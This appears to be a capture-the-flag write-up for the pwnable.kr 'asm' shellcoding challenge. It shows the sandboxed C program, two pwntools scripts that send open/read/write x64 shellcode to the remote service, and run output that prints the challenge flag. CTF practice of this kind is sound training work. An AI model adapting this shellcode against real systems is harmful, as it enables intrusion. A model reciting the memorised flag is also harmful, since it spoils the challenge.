Keep Calm and Carry On

pwnable-kr-asm

0x01 Analysis of the problem

readme

1
2
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

asm.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

According to this C file, function sandbox only can call system call open, read, write , exit.So our target is to use these system call to generate shellcode.

0x02 Write shellcode

ox01 Using pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
from pwn import *


# con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
# p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
p = remote('pwnable.kr', 9026)
shellcode = ''
# push the file name onto the stack
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')

# open file and using rax to return file handle
shellcode += shellcraft.open('rsp', 0, 0)
# read the opened file onto stack
shellcode += shellcraft.read('rax', 'rsp', 100)
# write it on standard output
shellcode += shellcraft.write(1, 'rsp', 100)
# log.info(shellcode)
p.recvuntil('shellcode: ')
print shellcode
p.send(asm(shellcode))
print p.recvline()

0x02 Using asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='amd64', os='linux')
p = remote('pwnable.kr', 9026)

'''
+-----+----------------+----------------------+-----------+----------+
| rax | system call | rdi | rsi | rdx |
+-----+----------------+----------------------+-----------+----------+
| 0 | sys_read | fd | char *buf | count |
| 1 | sys_write | fd | char *buf | count |
| 2 | sys_open | const char *filename | int flags | int mode |
| 60 | int error_code | | | |
+-----+----------------+----------------------+-----------+----------+
'''
shellcode = asm("""
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
jmp flag
open:
pop rdi
mov rax, 2
syscall
read:
mov rdi,rax
mov rsi, rsp
mov rdx, 0x40
xor rax, rax
syscall
write:
mov rdi, 1
mov rdx, 0x40
mov rax, 1
syscall
exit:
mov rax, 0x3c
syscall
flag:
call open
.ascii "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
.byte 0
""")
p.recvuntil("give me your x64 shellcode:")
p.send(shellcode)
p.interactive()
p.close()

0x03 run exploit code

1
2
3
4
5
drinkwater@ubuntu:~/Desktop$ python exp.py 
[+] Opening connection to pwnable.kr on port 9026: Done
[*] Switching to interactive mode
Mak1ng_shelLcodE_i5_veRy_eaSy
\x00\x00AA\x00\x00\xb0���>V\x000�>\xb7?\x7f\x00\x00\x00\x00[*] Got EOF while reading in interactive